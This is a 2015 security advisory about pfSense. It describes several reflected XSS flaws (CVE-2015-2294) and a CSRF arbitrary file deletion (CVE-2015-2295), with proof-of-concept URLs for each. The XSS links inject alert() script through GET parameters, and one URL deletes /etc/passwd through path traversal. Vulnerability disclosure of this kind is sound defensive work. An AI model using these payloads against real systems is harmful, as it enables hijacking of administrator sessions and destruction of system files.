Lucene search

K
htbridgeHigh-Tech BridgeHTB23251
HistoryMar 04, 2015 - 12:00 a.m.

Arbitrary file deletion and multiple XSS vulnerabilities in pfSense

2015-03-0400:00:00
High-Tech Bridge
www.htbridge.com
500

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.899 High

EPSS

Percentile

98.5%

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in web interface of pfSense, which can be exploited to perform Cross-Site Scripting (XSS) attacks against administrator of pfSense and delete arbitrary files via CSRF (Cross-Site Request Forgery) attacks.

Successful exploitation of the vulnerabilities may allow an attacker to delete arbitrary files on the system with root privileges, steal administrator’s cookies and gain complete control over the web application and even the entire system, as pfSense is running with root privileges and allows OS command execution via its web interface.

  1. Multiple XSS vulnerabilities in pfSense: CVE-2015-2294

1.1 Input passed via the β€œzone” HTTP GET parameter to β€œ/status_captiveportal.php” script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

PoC code below uses JS β€œalert()” function to display β€œImmuniWeb” popup:

https://[host]/status_captiveportal.php?zone=%27%22%3E%3Cscript%3Ealert%28%2 7ImmuniWeb%27%29;%3C/script%3E

1.2 Input passed via the β€œif” and β€œdragtable” HTTP GET parameters to β€œ/firewall_rules.php” script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

Below are two PoC codes for each vulnerable parameter that use JS β€œalert()” function to display β€œImmuniWeb” popup:

https://[host]/firewall_rules.php?undodrag=1&dragtable=&if=%27%22%3E%3Cscrip t%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/firewall_rules.php?if=wan&undodrag=1&dragtable%5B%5D=%27%22%3 E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

1.3 Input passed via the β€œqueue” HTTP GET parameter to β€œ/firewall_shaper.php” script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

PoC code below uses JS β€œalert()” function to display β€œImmuniWeb” popup:

https://[host]/firewall_shaper.php?interface=wan&action=add&queue=%27%22%3E% 3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

1.4 Input passed via the β€œid” HTTP GET parameter to β€œ/services_unbound_acls.php” script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

PoC code below uses JS β€œalert()” function to display β€œImmuniWeb” popup:

https://[host]/services_unbound_acls.php?act=edit&id=%27%22%3E%3Cscript%3Eal ert%28%27ImmuniWeb%27%29;%3C/script%3E

1.5 Input passed via the β€œfilterlogentries_time”, β€œfilterlogentries_sourceipaddress”, β€œfilterlogentries_sourceport”, β€œfilterlogentries_destinationipaddress”, β€œfilterlogentries_interfaces”, β€œfilterlogentries_destinationport”, β€œfilterlogentries_protocolflags” and β€œfilterlogentries_qty” HTTP GET parameters to β€œ/diag_logs_filter.php” script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

Below are eight PoC codes for each vulnerable parameter that use JS β€œalert()” function to display β€œImmuniWeb” popup:

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentri es_time=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentri es_sourceipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/scrip t%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentri es_sourceport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentri es_destinationipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/ script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentri es_interfaces=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentri es_destinationport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/scrip t%3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentri es_protocolflags=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script% 3E

https://[host]/diag_logs_filter.php?filterlogentries_submit=1&filterlogentri es_qty=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

  1. Cross-Site Request Forgery (CSRF) in pfSense: CVE-2015-2295

2.1 The vulnerability exists due to insufficient validation of the HTTP request origin in β€œ/system_firmware_restorefullbackup.php” script. A remote attacker can trick a log-in administrator to visit a malicious page with CSRF exploit and delete arbitrary files on the target system with root privileges.

The following PoC code deletes file β€œ/etc/passwd”:

https://[host]/system_firmware_restorefullbackup.php?deletefile=…/etc/passw d

CPENameOperatorVersion
pfsensele2.2

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.899 High

EPSS

Percentile

98.5%